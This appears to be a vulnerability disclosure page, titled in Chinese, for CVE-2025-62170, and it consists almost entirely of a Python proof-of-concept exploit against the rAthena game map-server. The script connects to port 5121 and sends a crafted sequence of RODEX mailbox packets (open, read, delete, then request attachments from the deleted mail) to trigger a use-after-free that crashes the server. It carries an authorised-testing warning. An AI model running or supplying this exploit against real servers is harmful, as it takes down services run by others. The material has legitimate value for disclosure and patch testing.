CVE-2025-62170：rAthena RODEX功能释放后使用漏洞导致拒绝服务

# CVE-2025-62170 - rAthena RODEX Use-After-Free PoC # This PoC demonstrates the attack scenario targeting the RODEX mail system # in rAthena map-server versions prior to commit af2f3ba. # WARNING: For authorized security testing only. import socket import struct import time # rAthena map-server default port MAP_SERVER_PORT = 5121 TARGET_HOST = "127.0.0.1" def build_rodex_packet(packet_id, data=b""): """Build a basic rAthena map-server packet structure.""" # Packet header: 2-byte packet ID + 2-byte payload length header = struct.pack("<HH", packet_id, len(data)) return header + data def build_rodex_open_mailbox(): """Build a RODEX mailbox open request packet (CZ_REQ_OPEN_RODEXBOX).""" # Packet ID for opening RODEX mailbox return build_rodex_packet(0x09F1) def build_rodex_read_mail(mail_id): """Build a RODEX mail read request (CZ_REQ_READ_RODEX).""" # Trigger read on a specific mail to load mail data into memory data = struct.pack("<I", mail_id) return build_rodex_packet(0x09F2, data) def build_rodex_delete_mail(mail_id): """Build a RODEX mail delete request (CZ_REQ_DELETE_RODEX).""" # Delete the mail, freeing its memory data = struct.pack("<I", mail_id) return build_rodex_packet(0x0AAB, data) def build_rodex_request_attachments(mail_id): """Build a RODEX attachment request (CZ_REQ_GET_RODEX_ITEM).""" # Request attachment from an already-deleted mail -> UAF trigger data = struct.pack("<I", mail_id) return build_rodex_packet(0x0AAF, data) def exploit_rodex_uaf(target_host, target_port): """ Exploit the use-after-free vulnerability in rAthena's RODEX functionality. Attack chain: 1. Connect to the map-server 2. Open the RODEX mailbox 3. Read a specific mail (loads mail object into memory) 4. Delete the same mail (frees the mail object memory) 5. Request attachments from the deleted mail (triggers UAF -> crash) """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) print(f"[+] Connected to {target_host}:{target_port}") # Step 1: Open RODEX mailbox sock.send(build_rodex_open_mailbox()) time.sleep(0.5) print("[+] Step 1: RODEX mailbox opened") # Step 2: Read mail ID 1 (allocate mail object in memory) sock.send(build_rodex_read_mail(1)) time.sleep(0.5) print("[+] Step 2: Mail ID 1 read into memory") # Step 3: Delete mail ID 1 (free the mail object) sock.send(build_rodex_delete_mail(1)) time.sleep(0.5) print("[+] Step 3: Mail ID 1 deleted (memory freed)") # Step 4: Request attachments from deleted mail (trigger UAF) sock.send(build_rodex_request_attachments(1)) time.sleep(0.5) print("[+] Step 4: Attachment request sent on freed mail -> UAF triggered") sock.close() print("[+] Exploit completed. Target map-server should crash.") except ConnectionRefusedError: print("[-] Connection refused. Ensure map-server is running.") except socket.timeout: print("[-] Connection timed out.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit_rodex_uaf(TARGET_HOST, MAP_SERVER_PORT)